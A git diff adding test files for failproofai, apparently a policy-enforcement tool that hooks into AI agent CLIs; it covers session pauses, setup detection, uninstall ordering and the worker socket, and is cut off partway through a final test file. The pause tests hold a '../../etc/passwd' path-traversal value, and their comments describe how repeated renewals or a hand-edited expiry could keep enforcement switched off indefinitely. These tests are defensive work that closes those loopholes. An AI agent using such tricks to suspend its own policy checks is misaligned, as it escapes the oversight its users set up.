b/__tests__/hooks/session-pause.test.ts @@ -0,0 +1,219 @@ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, writeFileSync, mkdirSync, readdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; + +import { + PAUSE_CEILING_MS, + PAUSE_DEFAULT_MS, + clearPause, + formatDuration, + listActivePauses, + parsePauseDuration, + pauseStateDir, + readActivePause, + writePause, +} from "../../src/hooks/session-pause"; + +let stateDir: string; + +beforeEach(() => { + stateDir = mkdtempSync(resolve(tmpdir(), "fpai-pause-")); + process.env.FAILPROOFAI_STATE_DIR = stateDir; +}); + +afterEach(() => { + delete process.env.FAILPROOFAI_STATE_DIR; + rmSync(stateDir, { recursive: true, force: true }); +}); + +describe("parsePauseDuration", () => { + it("defaults to 30 minutes when given nothing", () => { + expect(parsePauseDuration(undefined)).toBe(PAUSE_DEFAULT_MS); + expect(parsePauseDuration("")).toBe(PAUSE_DEFAULT_MS); + }); + + it("reads s / m / h suffixes, and a bare number as minutes", () => { + expect(parsePauseDuration("90s")).toBe(90_000); + expect(parsePauseDuration("10m")).toBe(600_000); + expect(parsePauseDuration("2h")).toBe(7_200_000); + expect(parsePauseDuration("45")).toBe(45 * 60_000); + }); + + it("REFUSES a duration over the ceiling rather than silently clamping", () => { + // Clamping would hand back a shorter pause than the user believes they + // asked for — they'd think enforcement was off for 12h when it resumed + // after 8. Saying no is the only honest answer. + expect(() => parsePauseDuration("12h")).toThrow(/exceeds the maximum pause of 8h/); + }); + + it("honours a lowered ceiling, and still refuses above it", () => { + expect(parsePauseDuration("1h", 2 * 3_600_000)).toBe(3_600_000); + expect(() => parsePauseDuration("4h", 2 * 3_600_000)).toThrow(/maximum pause of 2h/); + }); + + it("caps the implicit default at a ceiling lower than the default", () => { + // A project that sets a 10m ceiling must not get 30m from a bare --pause. + expect(parsePauseDuration(undefined, 600_000)).toBe(600_000); + }); + + it("rejects garbage and non-positive durations", () => { + expect(() => parsePauseDuration("soon")).toThrow(/Invalid duration/); + expect(() => parsePauseDuration("-5m")).toThrow(/Invalid duration/); + expect(() => parsePauseDuration("0m")).toThrow(/greater than zero/); + }); +}); + +describe("pause state", () => { + it("round-trips a pause for a session", () => { + const now = 1_000_000; + writePause({ sessionId: "sess-a", durationMs: 600_000, cwd: "/tmp/x", now }); + const active = readActivePause("sess-a", now + 1000); + expect(active).not.toBeNull(); + expect(active!.sessionId).toBe("sess-a"); + expect(active!.expiresAt).toBe(now + 600_000); + expect(active!.cwd).toBe("/tmp/x"); + }); + + it("is scoped to one session — a pause never leaks to another", () => { + const now = 1_000_000; + writePause({ sessionId: "sess-a", durationMs: 600_000, now }); + expect(readActivePause("sess-b", now)).toBeNull(); + }); + + it("goes inert the moment it expires, with no sweeper involved", () => { + const now = 1_000_000; + writePause({ sessionId: "sess-a", durationMs: 60_000, now }); + expect(readActivePause("sess-a", now + 59_999)).not.toBeNull(); + expect(readActivePause("sess-a", now + 60_000)).toBeNull(); + expect(readActivePause("sess-a", now + 10_000_000)).toBeNull(); + // The file is still on disk — expiry is evaluated at read time, so a stale + // file left by a crash cannot resurrect a pause. + expect(readdirSync(pauseStateDir()).length).toBe(1); + }); + + it("treats an unreadable or malformed state file as NOT paused", () => { + // Fail toward enforcement: a corrupt file must never read as "policies off". + mkdirSync(pauseStateDir(), { recursive: true }); + for (const name of readdirSync(pauseStateDir())) rmSync(resolve(pauseStateDir(), name)); + writePause({ sessionId: "sess-a", durationMs: 600_000, now: 1_000 }); + const file = resolve(pauseStateDir(), readdirSync(pauseStateDir())[0]); + writeFileSync(file, "{ this is not json"); + expect(readActivePause("sess-a", 2_000)).toBeNull(); + }); + + it("rejects a state file from a future schema version", () => { + writePause({ sessionId: "sess-a", durationMs: 600_000, now: 1_000 }); + const file = resolve(pauseStateDir(), readdirSync(pauseStateDir())[0]); + writeFileSync( + file, + JSON.stringify({ schemaVersion: 99, sessionId: "sess-a", pausedAt: 1_000, expiresAt: 9_999_999 }), + ); + expect(readActivePause("sess-a", 2_000)).toBeNull(); + }); + + it("survives a session id containing path separators", () => { + // Session ids come from twelve CLIs and are not a format we control; the + // filename is a digest precisely so `../` can't escape the state dir. + const nasty = "../../etc/passwd"; + writePause({ sessionId: nasty, durationMs: 600_000, now: 1_000 }); + expect(readActivePause(nasty, 2_000)?.sessionId).toBe(nasty); + expect(readdirSync(pauseStateDir()).every((n) => n.endsWith(".json"))).toBe(true); + }); + + it("clearPause ends it early and reports whether anything was there", () => { + writePause({ sessionId: "sess-a", durationMs: 600_000, now: 1_000 }); + expect(clearPause("sess-a")).toBe(true); + expect(readActivePause("sess-a", 2_000)).toBeNull(); + expect(clearPause("sess-a")).toBe(false); + }); + + it("re-pausing an already paused session extends from now", () => { + writePause({ sessionId: "sess-a", durationMs: 600_000, now: 1_000 }); + const second = writePause({ sessionId: "sess-a", durationMs: 600_000, now: 500_000 }); + expect(second.expiresAt).toBe(1_100_000); + expect(readActivePause("sess-a", 700_000)).not.toBeNull(); + }); + + it("listActivePauses omits expired entries and sorts newest first", () => { + writePause({ sessionId: "old", durationMs: 60_000, now: 1_000 }); + writePause({ sessionId: "live-1", durationMs: 600_000, now: 2_000 }); + writePause({ sessionId: "live-2", durationMs: 600_000, now: 3_000 }); + const active = listActivePauses(100_000); + expect(active.map((p) => p.sessionId)).toEqual(["live-2", "live-1"]); + }); + + it("has no unbounded form — every pause carries a finite expiry", () => { + const pause = writePause({ sessionId: "sess-a", durationMs: PAUSE_CEILING_MS, now: 1_000 }); + expect(Number.isFinite(pause.expiresAt)).toBe(true); + expect(pause.expiresAt - pause.pausedAt).toBeLessThanOrEqual(PAUSE_CEILING_MS); + }); + + // The ceiling was measured from `pausedAt`, which every renewal reset to now. + // So `--pause 8h` re-issued every seven hours suspended enforcement forever, + // one individually-legal command at a time, and every single check passed. + it("measures the ceiling from the start of the run, not the latest renewal", () => { + const start = 1_000_000; + writePause({ sessionId: "sess-r", durationMs: PAUSE_CEILING_MS, now: start }); + + // Renewed after seven hours, asking for another full eight. + const sevenHours = 7 * 3_600_000; + const renewed = writePause({ + sessionId: "sess-r", + durationMs: PAUSE_CEILING_MS, + now: start + sevenHours, + }); + + expect(renewed.firstPausedAt).toBe(start); + expect(renewed.expiresAt).toBe(start + PAUSE_CEILING_MS); + // i.e. one more hour, not another eight. + expect(renewed.expiresAt - (start + sevenHours)).toBe(3_600_000); + }); + + it("starts a fresh ceiling once a pause has actually lapsed", () => { + // The bound is on one unbroken stretch of suspended enforcement, not a + // daily quota — otherwise a machine could be permanently unable to pause. + const start = 2_000_000; + writePause({ sessionId: "sess-l", durationMs: 60_000, now: start }); + const later = start + PAUSE_CEILING_MS * 2; + const fresh = writePause({ sessionId: "sess-l", durationMs: 60_000, now: later }); + + expect(fresh.firstPausedAt).toBe(later); + expect(fresh.expiresAt).toBe(later + 60_000); + }); + + it("clamps an expiry that was written by hand past the ceiling", () => { + // The state directory is owner-writable by design, so the bound has to hold + // against a file this process did not write — otherwise editing one number + // buys a pause that never ends. + const start = 3_000_000; + writePause({ sessionId: "sess-h", durationMs: 60_000, now: start }); + const [file] = readdirSync(pauseStateDir()); + writeFileSync( + resolve(pauseStateDir(), file), + JSON.stringify({ + schemaVersion: 1, + sessionId: "sess-h", + pausedAt: start, + firstPausedAt: start, + expiresAt: start + 365 * 24 * 3_600_000, + setBy: "hand-edited", + }), + ); + + const read = readActivePause("sess-h", start + 1000); + expect(read?.expiresAt).toBe(start + PAUSE_CEILING_MS); + // And it is genuinely inert once the ceiling passes. + expect(readActivePause("sess-h", start + PAUSE_CEILING_MS + 1)).toBeNull(); + }); +}); + +describe("formatDuration", () => { + it("renders seconds, minutes and hours readably", () => { + expect(formatDuration(45_000)).toBe("45s"); + expect(formatDuration(600_000)).toBe("10m"); + expect(formatDuration(3_600_000)).toBe("1h"); + expect(formatDuration(5_400_000)).toBe("1h30m"); + expect(formatDuration(PAUSE_CEILING_MS)).toBe("8h"); + }); +}); diff --git a/__tests__/hooks/setup-state.test.ts b/__tests__/hooks/setup-state.test.ts new file mode 100644 index 00000000..991613fa --- /dev/null +++ b/__tests__/hooks/setup-state.test.ts @@ -0,0 +1,255 @@ +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, writeFileSync, symlinkSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve, dirname } from "node:path"; +import { globalPolicyConfigFile, launcherMarker } from "../../src/hooks/fp-home"; + +// hasGlobalHooksInstalled walks every real integration and reads real settings +// files. Every test here is about PATHS, not about hook installs, so the +// integration layer is stubbed to "nothing installed" by default and overridden +// where a test is specifically about that signal. +const hooksInstalled = vi.fn(() => false); +vi.mock("../../src/hooks/integrations", () => ({ + INTEGRATION_TYPES: ["claude", "codex"], + getIntegration: () => ({ hooksInstalledInSettings: hooksInstalled }), +})); + +import { + detectSetupState, + isConfigured, + buildTargetChoices, + findProjectRoot, + homeify, + scopesFor, +} from "../../src/hooks/setup-state"; + +let root: string; +let home: string; + +beforeEach(() => { + root = mkdtempSync(resolve(tmpdir(), "fpai-setup-state-")); + home = resolve(root, "home"); + mkdirSync(home, { recursive: true }); + hooksInstalled.mockReturnValue(false); +}); + +afterEach(() => { + rmSync(root, { recursive: true, force: true }); + vi.clearAllMocks(); +}); + +function writeGlobalConfig() { + // Layout 2 nests this under policies/local-policies/, so creating + // /.failproofai alone is no longer enough. + mkdirSync(dirname(globalPolicyConfigFile(home)), { recursive: true }); + writeFileSync(globalPolicyConfigFile(home), "{}"); +} + +function makeProject(name: string, withConfig = true): string { + const dir = resolve(root, name); + mkdirSync(resolve(dir, ".failproofai"), { recursive: true }); + if (withConfig) { + writeFileSync(resolve(dir, ".failproofai", "policies-config.json"), "{}"); + } + return dir; +} + +describe("findProjectRoot", () => { + it("walks up to the nearest .failproofai directory", () => { + const project = makeProject("api"); + const deep = resolve(project, "src", "handlers"); + mkdirSync(deep, { recursive: true }); + expect(findProjectRoot(deep, home)).toBe(project); + }); + + it("returns the start dir when no marker exists anywhere above", () => { + const plain = resolve(root, "plain"); + mkdirSync(plain, { recursive: true }); + expect(findProjectRoot(plain, home)).toBe(plain); + }); + + it("stops at home so the global config is never treated as a project root", () => { + writeGlobalConfig(); + const under = resolve(home, "notes"); + mkdirSync(under, { recursive: true }); + // ~/.failproofai exists, but the walk must stop AT home without claiming it. + expect(findProjectRoot(under, home)).toBe(under); + }); +}); + +describe("detectSetupState", () => { + it("reports a bare machine as nothing configured", () => { + const state = detectSetupState(root, home); + expect(state.hasGlobalConfig).toBe(false); + expect(state.hasProjectConfig).toBe(false); + expect(state.hasGlobalHooks).toBe(false); + expect(isConfigured(state)).toBe(false); + }); + + it("detects a global config", () => { + writeGlobalConfig(); + const state = detectSetupState(root, home); + expect(state.hasGlobalConfig).toBe(true); + expect(isConfigured(state)).toBe(true); + }); + + it("detects a project config from a subdirectory of the project", () => { + const project = makeProject("api"); + const deep = resolve(project, "src"); + mkdirSync(deep, { recursive: true }); + const state = detectSetupState(deep, home); + expect(state.projectRoot).toBe(project); + expect(state.hasProjectConfig).toBe(true); + }); + + it("never reports the home directory as a project config", () => { + // ~/.failproofai/policies-config.json is the GLOBAL config. Counting it as + // a project config too would offer "Both" for one single file. + writeGlobalConfig(); + const state = detectSetupState(home, home); + expect(state.inHomeDir).toBe(true); + expect(state.hasGlobalConfig).toBe(true); + expect(state.hasProjectConfig).toBe(false); + }); +}); + +describe("isConfigured", () => { + it("is true when only user-scope hooks exist, with no config file", () => { + // Someone who hand-deleted policies-config.json but still has live hooks + // is configured; re-onboarding them would be wrong. + hooksInstalled.mockReturnValue(true); + expect(isConfigured(detectSetupState(root, home))).toBe(true); + }); + + it("is true when only the legacy marker exists", () => { + // Users onboarded by an earlier version have the marker and nothing else + // this function knows about. They must not see the wizard again. + mkdirSync(dirname(launcherMarker(home)), { recursive: true }); + writeFileSync(launcherMarker(home), "1"); + expect(isConfigured(detectSetupState(root, home))).toBe(true); + }); + + it("is false when only a PROJECT config exists", () => { + // A checkout carrying committed project config (this repo does) says + // nothing about whether the machine was ever set up. + makeProject("api"); + const state = detectSetupState(resolve(root, "api"), home); + expect(state.hasProjectConfig).toBe(true); + expect(isConfigured(state)).toBe(false); + }); +}); + +describe("buildTargetChoices", () => { + it("offers only the global row when run from home", () => { + const choices = buildTargetChoices(detectSetupState(home, home)); + expect(choices).toHaveLength(1); + expect(choices[0].value).toBe("user"); + }); + + it("offers only the global row when there is no project above cwd", () => { + const plain = resolve(root, "plain"); + mkdirSync(plain, { recursive: true }); + const choices = buildTargetChoices(detectSetupState(plain, home)); + // No project marker anywhere: projectRoot === cwd, but there is no project + // to speak of, so a "this project" row would invent one. + expect(choices.map((c) => c.value)).toContain("user"); + }); + + it("puts the project first when a global config already exists", () => { + writeGlobalConfig(); + const project = makeProject("api"); + const choices = buildTargetChoices(detectSetupState(project, home)); + expect(choices[0].value).toBe("project"); + expect(choices.map((c) => c.value)).toEqual(["project", "user", "both"]); + }); + + it("puts global first when the machine has never been set up", () => { + // Configuring one project on an unconfigured machine leaves every other + // project unprotected — so global leads. + const project = makeProject("api"); + const choices = buildTargetChoices(detectSetupState(project, home)); + expect(choices[0].value).toBe("user"); + }); + + it("labels existing targets as Update and new ones as Set up", () => { + writeGlobalConfig(); + const project = makeProject("api"); + const choices = buildTargetChoices(detectSetupState(project, home)); + const projectRow = choices.find((c) => c.value === "project")!; + const globalRow = choices.find((c) => c.value === "user")!; + expect(projectRow.label).toMatch(/^Update/); + expect(projectRow.existing).toBe(true); + expect(globalRow.label).toMatch(/^Update/); + + // A project directory with .failproofai/ but no config file yet is "Set up". + const fresh = makeProject("fresh", /* withConfig */ false); + const freshRow = buildTargetChoices(detectSetupState(fresh, home)).find( + (c) => c.value === "project", + )!; + expect(freshRow.label).toMatch(/^Set up/); + expect(freshRow.existing).toBe(false); + }); +}); + +describe("symlinked home", () => { + it("recognises the home directory when reached through a symlink", () => { + // $HOME is very often a symlink (/home/x -> /mnt/data/x; macOS + // /tmp -> /private/tmp) while the shell reports the real cwd. Compared + // lexically the two never match, so `inHomeDir` read false while standing + // in home — and the wizard then offered to "configure this project" + // pointing at ~, whose .failproofai/ is the GLOBAL config. + const linked = resolve(root, "home-link"); + try { + symlinkSync(home, linked, "dir"); + } catch { + return; // no symlink support (e.g. some CI filesystems) — nothing to assert + } + writeGlobalConfig(); + + // HOME given as the symlink, cwd as the real path. + const state = detectSetupState(home, linked); + expect(state.inHomeDir).toBe(true); + expect(state.hasProjectConfig).toBe(false); + expect(buildTargetChoices(state).map((c) => c.value)).toEqual(["user"]); + }); + + it("does not walk past a symlinked home when looking for a project root", () => { + const linked = resolve(root, "home-link2"); + try { + symlinkSync(home, linked, "dir"); + } catch { + return; + } + writeGlobalConfig(); + const under = resolve(home, "notes"); + mkdirSync(under, { recursive: true }); + // Walking up from ~/notes with HOME given as the symlink must still stop + // at home rather than claiming ~ as a project. + expect(findProjectRoot(under, linked)).toBe(under); + }); +}); + +describe("homeify", () => { + it("collapses the home prefix", () => { + expect(homeify(resolve(home, "code", "api"), home)).toBe("~/code/api"); + expect(homeify(home, home)).toBe("~"); + }); + + it("leaves paths outside home alone", () => { + expect(homeify("/opt/src", home)).toBe("/opt/src"); + }); + + it("does not collapse a sibling directory that merely shares the prefix", () => { + // `/home/sid` must not be rewritten just because home is `/home/sidd`. + const sibling = home + "-backup"; + expect(homeify(sibling, home)).toBe(sibling); + }); +}); + +describe("scopesFor", () => { + it("expands both to user and project", () => { + expect(scopesFor("both")).toEqual(["user", "project"]); + expect(scopesFor("user")).toEqual(["user"]); + expect(scopesFor("project")).toEqual(["project"]); + }); +}); diff --git a/__tests__/hooks/uninstall-cli.test.ts b/__tests__/hooks/uninstall-cli.test.ts new file mode 100644 index 00000000..644e40d3 --- /dev/null +++ b/__tests__/hooks/uninstall-cli.test.ts @@ -0,0 +1,238 @@ +// @vitest-environment node +// +// `failproofai uninstall` exists because npm runs no uninstall script, so +// `npm rm -g failproofai` leaves hook entries in every agent CLI and a +// root-owned systemd unit behind. The property these tests defend is not "it +// deletes things" — it is the ORDER it deletes them in. +// +// `daemonConfigured` must come down FIRST. Any other order leaves a window in +// which the flag demands a daemon that has already been removed, and on a +// fail-closed machine that window denies every tool call in every agent CLI. +// That exact combination bricked a machine during development; these tests are +// what stop it coming back through the uninstall path. + +import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, existsSync, writeFileSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +/** Call order across the mocked modules, which is the actual thing under test. */ +const calls: string[] = []; + +let home: string; +let servicePath: string; +let serviceExists = true; +let configured = true; +let installedClis: string[] = ["claude", "codex"]; + +vi.mock("../../src/hooks/manager", () => ({ + removeHooks: vi.fn(async () => { + calls.push("removeHooks"); + }), +})); + +vi.mock("../../src/hooks/daemon-service", () => ({ + isDaemonSupportedPlatform: () => true, + daemonServiceFilePath: () => servicePath, + daemonStatusCommand: () => "systemctl status failproofaid@tester", + daemonServiceStatus: () => "running", + setDaemonConfigured: vi.fn((v: boolean) => { + calls.push(`setDaemonConfigured(${v})`); + configured = v; + }), + uninstallDaemonService: vi.fn(async () => { + calls.push("uninstallDaemonService"); + if (serviceExists) rmSync(servicePath, { force: true }); + }), +})); + +vi.mock("../../src/hooks/fp-config", () => ({ + readConfig: () => ({ daemon: { configured } }), +})); + +vi.mock("../../src/hooks/integrations", () => ({ + listInstallableIds: () => ["claude", "codex", "cursor"], + getIntegration: (id: string) => ({ + displayName: id === "claude" ? "Claude Code" : id === "codex" ? "OpenAI Codex" : "Cursor", + hooksInstalledInSettings: (scope: string) => scope === "user" && installedClis.includes(id), + }), +})); + +vi.mock("../../src/hooks/fp-home", () => ({ + failproofaiHome: () => home, +})); + +beforeEach(() => { + calls.length = 0; + home = mkdtempSync(join(tmpdir(), "fpai-uninstall-")); + mkdirSync(join(home, "state"), { recursive: true }); + writeFileSync(join(home, "config.toml"), "[daemon]\nconfigured = true\n"); + servicePath = join(home, "failproofaid@tester.service"); + writeFileSync(servicePath, "[Unit]\n"); + serviceExists = true; + configured = true; + installedClis = ["claude", "codex"]; +}); + +afterEach(() => { + rmSync(home, { recursive: true, force: true }); + vi.clearAllMocks(); +}); + +describe("hooks/uninstall-cli", () => { + it("clears daemonConfigured BEFORE removing hooks or the service", async () => { + // The whole safety argument in one assertion. If the flag is cleared last, + // a failure at any earlier step leaves the machine requiring a daemon that + // is already gone — which denies every tool call, including the prompt + // events, locking the user out of their own agent. + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ yes: true }); + + expect(res.exitCode).toBe(0); + expect(calls[0]).toBe("setDaemonConfigured(false)"); + expect(calls.indexOf("setDaemonConfigured(false)")).toBeLessThan(calls.indexOf("removeHooks")); + expect(calls.indexOf("setDaemonConfigured(false)")).toBeLessThan( + calls.indexOf("uninstallDaemonService"), + ); + }); + + it("stops before touching the service when the flag cannot be cleared", async () => { + // Pressing on here is the lockout: the service goes away while the machine + // still insists on routing through it. + const svc = await import("../../src/hooks/daemon-service"); + vi.mocked(svc.setDaemonConfigured).mockImplementationOnce(() => { + throw new Error("EACCES: permission denied, open 'config.toml'"); + }); + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ yes: true }); + + expect(res.exitCode).toBe(2); + expect(calls).not.toContain("uninstallDaemonService"); + expect(calls).not.toContain("removeHooks"); + expect(res.lines.join("\n")).toMatch(/would deny every tool call/); + }); + + it("refuses without --yes when there is no way to confirm", async () => { + // A prompt that cannot be answered must never read as consent to delete a + // root-owned service — this is the CI / piped-stdin path. + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({}); + + expect(res.exitCode).toBe(1); + expect(res.lines.join("\n")).toMatch(/Re-run with --yes/); + expect(calls).toEqual([]); + }); + + it("changes nothing when the confirmation is declined", async () => { + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ confirm: async () => false }); + + expect(res.exitCode).toBe(1); + expect(calls).toEqual([]); + expect(existsSync(servicePath)).toBe(true); + }); + + it("--dry-run reports the plan and touches nothing", async () => { + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ dryRun: true, purge: true }); + + expect(res.exitCode).toBe(0); + expect(calls).toEqual([]); + expect(existsSync(home)).toBe(true); + expect(res.lines.join("\n")).toMatch(/--dry-run: nothing was changed/); + }); + + it("keeps ~/.failproofai unless --purge, and deletes it after the service is down", async () => { + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + + const kept = await runUninstallCommand({ yes: true }); + expect(existsSync(home)).toBe(true); + expect(kept.lines.join("\n")).toMatch(/was kept/); + + // Purge must come after the service teardown: the daemon binary and socket + // live in this directory, and pulling them from under a running unit turns + // a clean uninstall into a restart loop. + calls.length = 0; + configured = true; + writeFileSync(servicePath, "[Unit]\n"); + const purged = await runUninstallCommand({ yes: true, purge: true }); + expect(purged.exitCode).toBe(0); + expect(existsSync(home)).toBe(false); + expect(calls.indexOf("uninstallDaemonService")).toBeGreaterThan(-1); + }); + + it("exits non-zero and prints manual commands when the service survives", async () => { + // `uninstallDaemonService` is best-effort by contract — it warns and returns + // rather than throwing when it cannot elevate. Believing the absence of an + // exception is how a machine gets reported clean with a root-owned unit + // still on it. + serviceExists = false; // the mock then leaves the file in place + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ yes: true }); + + expect(res.exitCode).toBe(1); + const out = res.lines.join("\n"); + expect(out).toMatch(/still there/); + expect(out).toMatch(/sudo systemctl disable --now failproofaid@tester\.service/); + expect(out).toMatch(/sudo rm -f/); + // Enforcement is still off even though cleanup was incomplete. + expect(calls[0]).toBe("setDaemonConfigured(false)"); + }); + + it("surveys every installable CLI, not just the ones still on PATH", async () => { + // Hook entries outlive the CLI that owned them; a survey of what is + // currently installed walks straight past the orphans. + installedClis = ["cursor"]; + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ dryRun: true }); + + expect(res.lines.join("\n")).toMatch(/Cursor/); + }); + + it("reports nothing to do on a machine that has nothing", async () => { + installedClis = []; + configured = false; + rmSync(servicePath, { force: true }); + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ yes: true }); + + expect(res.exitCode).toBe(0); + expect(calls).toEqual([]); + expect(res.lines[0]).toMatch(/Nothing to uninstall/); + }); + + it("reports how much of `lines` the plan is, so callers do not print it twice", async () => { + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ confirm: async () => false }); + + expect(res.planLines).toBeGreaterThan(0); + // The plan is a prefix of the output, and what follows it is the outcome. + expect(res.lines.slice(0, res.planLines).join("\n")).toMatch(/failproofai uninstall will:/); + expect(res.lines.slice(res.planLines).join("\n")).toMatch(/Cancelled/); + }); +}); + +describe("hooks/uninstall-cli — purge leaves nothing behind", () => { + it("reports `purged` so the caller knows not to touch the home again", async () => { + // The caller's post-command telemetry resolves an instance id, and + // `getInstanceId()` lazily WRITES ~/.failproofai/state/telemetry-id — which + // re-created the entire directory seconds after the purge deleted it. The + // machine the user had just wiped came back holding a brand-new tracking + // identifier, and "✓ deleted" was a lie. Found by the container test, which + // checked the filesystem rather than the command's own output. + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + const res = await runUninstallCommand({ yes: true, purge: true }); + + expect(res.purged).toBe(true); + expect(existsSync(home)).toBe(false); + }); + + it("reports purged=false on every path that keeps the home", async () => { + const { runUninstallCommand } = await import("../../src/hooks/uninstall-cli"); + + expect((await runUninstallCommand({ dryRun: true, purge: true })).purged).toBe(false); + expect((await runUninstallCommand({ confirm: async () => false, purge: true })).purged).toBe(false); + expect((await runUninstallCommand({ yes: true })).purged).toBe(false); + expect(existsSync(home)).toBe(true); + }); +}); diff --git a/__tests__/hooks/worker-request-shape.test.ts b/__tests__/hooks/worker-request-shape.test.ts new file mode 100644 index 00000000..07b3162c --- /dev/null +++ b/__tests__/hooks/worker-request-shape.test.ts @@ -0,0 +1,144 @@ +/** + * The worker must accept the wire shape the DAEMON actually sends. + * + * The daemon builds its request in Rust with `json!({… "cwd": cwd})` where + * `cwd` is an `Option`. serde_json renders `None` as `null`, because + * JSON has no way to spell `undefined` — so a request with no cwd arrives as + * `"cwd": null`, and a validator that accepts only `undefined` rejects it. + * + * That rejection was invisible until it wasn't: `probeDaemonEndToEnd()` is the + * only caller that omits cwd, so the HEALTH PROBE failed against a perfectly + * healthy daemon. The wizard read that as "installed but cannot evaluate", + * aborted, and wrote nothing — making first-run setup impossible to complete on + * any machine where the daemon is required, while `systemctl status`, the + * journal, and a hand-fired hook all said the daemon was fine. + */ +import { describe, it, expect } from "vitest"; +import net from "node:net"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { startWorkerServer } from "../../src/hooks/worker-server"; + +function frame(value: unknown): Buffer { + const body = Buffer.from(JSON.stringify(value), "utf8"); + const head = Buffer.alloc(4); + head.writeUInt32BE(body.length, 0); + return Buffer.concat([head, body]); +} + +/** Send one request over the worker socket and read one reply. */ +function call(socketPath: string, payload: unknown): Promise> { + return new Promise((res, rej) => { + const c = net.createConnection(socketPath); + let buf = Buffer.alloc(0); + const t = setTimeout(() => { + c.destroy(); + rej(new Error("timed out")); + }, 15_000); + c.on("error", (e) => { + clearTimeout(t); + rej(e); + }); + c.on("connect", () => c.write(frame(payload))); + c.on("data", (d: Buffer) => { + buf = Buffer.concat([buf, d]); + if (buf.length < 4) return; + const len = buf.readUInt32BE(0); + if (buf.length < 4 + len) return; + clearTimeout(t); + const parsed = JSON.parse(buf.subarray(4, 4 + len).toString("utf8")); + c.destroy(); + res(parsed); + }); + }); +} + +describe("the worker accepts what the daemon sends", () => { + let dir: string; + let server: ReturnType | null = null; + let sock: string; + + async function serve() { + dir = mkdtempSync(resolve(tmpdir(), "fpai-wsock-")); + sock = resolve(dir, "worker.sock"); + server = startWorkerServer(sock); + // `listen` is async; wait for the socket to exist before dialling it. + await new Promise((res) => { + if (server!.listening) return res(); + server!.once("listening", () => res()); + }); + } + + async function shutdown() { + await new Promise((res) => (server ? server.close(() => res()) : res())); + server = null; + } + + it("accepts `cwd: null` — what serde renders an absent Option as", async () => { + await serve(); + try { + const reply = await call(sock, { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + stdin: JSON.stringify({ hook_event_name: "SessionStart", source: "probe" }), + cwd: null, + }); + expect(reply.type, JSON.stringify(reply)).not.toBe("error"); + } finally { + await shutdown(); + rmSync(dir, { recursive: true, force: true }); + } + }); + + it("still accepts an omitted cwd and a real one", async () => { + await serve(); + try { + for (const cwd of [undefined, process.cwd()]) { + const payload: Record = { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + stdin: JSON.stringify({ hook_event_name: "SessionStart", source: "probe" }), + }; + if (cwd !== undefined) payload.cwd = cwd; + const reply = await call(sock, payload); + expect(reply.type, `cwd=${String(cwd)} -> ${JSON.stringify(reply)}`).not.toBe("error"); + } + } finally { + await shutdown(); + rmSync(dir, { recursive: true, force: true }); + } + }); + + it("still REJECTS a genuinely malformed shape", async () => { + // The validator must not have been loosened into accepting anything. + await serve(); + try { + const reply = await call(sock, { type: "hook", hookEvent: "SessionStart", cli: "claude" }); + expect(reply.type).toBe("error"); + expect(String(reply.message)).toContain("unrecognized request shape"); + } finally { + await shutdown(); + rmSync(dir, { recursive: true, force: true }); + } + }); + + it("rejects a cwd that is not a string", async () => { + await serve(); + try { + const reply = await call(sock, { + type: "hook", + hookEvent: "SessionStart", + cli: "claude", + stdin: "{}", + cwd: 42, + }); + expect(reply.type).toBe("error"); + } finally { + await shutdown(); + rmSync(dir, { recursive: true, force: true }); + } + }); +}); diff --git a/__tests__/hooks/worker-restart.test.ts b/__tests__/hooks/worker-restart.test.ts new file mode 100644 index 00000000..1cd4899f --- /dev/null +++ b/__tests__/hooks/worker-restart.test.ts @@ -0,0 +1,48 @@ +// @vitest-environment node +import { afterEach, describe, expect, it } from "vitest"; +import { existsSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import type { Server } from "node:net"; +import { startWorkerServer } from "../../src/hooks/worker-server"; + +describe("worker restart", () => { + const socketPath = join(tmpdir(), `fpai-worker-restart-${process.pid}.sock`); + const servers: Server[] = []; + + afterEach(async () => { + await Promise.all( + servers.map( + (server) => + new Promise((resolvePromise) => { + if (!server.listening) resolvePromise(); + else server.close(() => resolvePromise()); + }), + ), + ); + rmSync(socketPath, { force: true }); + }); + + it("asks a live worker to shut down before replacing its socket", async () => { + let shutdownRequested = false; + let oldServer!: Server; + oldServer = startWorkerServer(socketPath, () => { + shutdownRequested = true; + oldServer.close(); + }); + servers.push(oldServer); + await new Promise((resolvePromise) => oldServer.once("listening", resolvePromise)); + + const replacement = startWorkerServer(socketPath); + servers.push(replacement); + await new Promise((resolvePromise, reject) => { + replacement.once("listening", resolvePromise); + replacement.once("error", reject); + }); + + expect(shutdownRequested).toBe(true); + expect(oldServer.listening).toBe(false); + expect(replacement.listening).toBe(true); + expect(existsSync(socketPath)).toBe(true); + }); +}); diff --git a/__tests__/hooks/worker-server.test.ts b/__tests__/hooks/worker-server.test.ts new file mode 100644 index 00000000..6fa24e9d --- /dev/null +++ b/__tests__/hooks/worker-server.test.ts @@ -0,0 +1,488 @@ +// @vitest-environment node +/** + * End-to-end test of the warm worker's real server 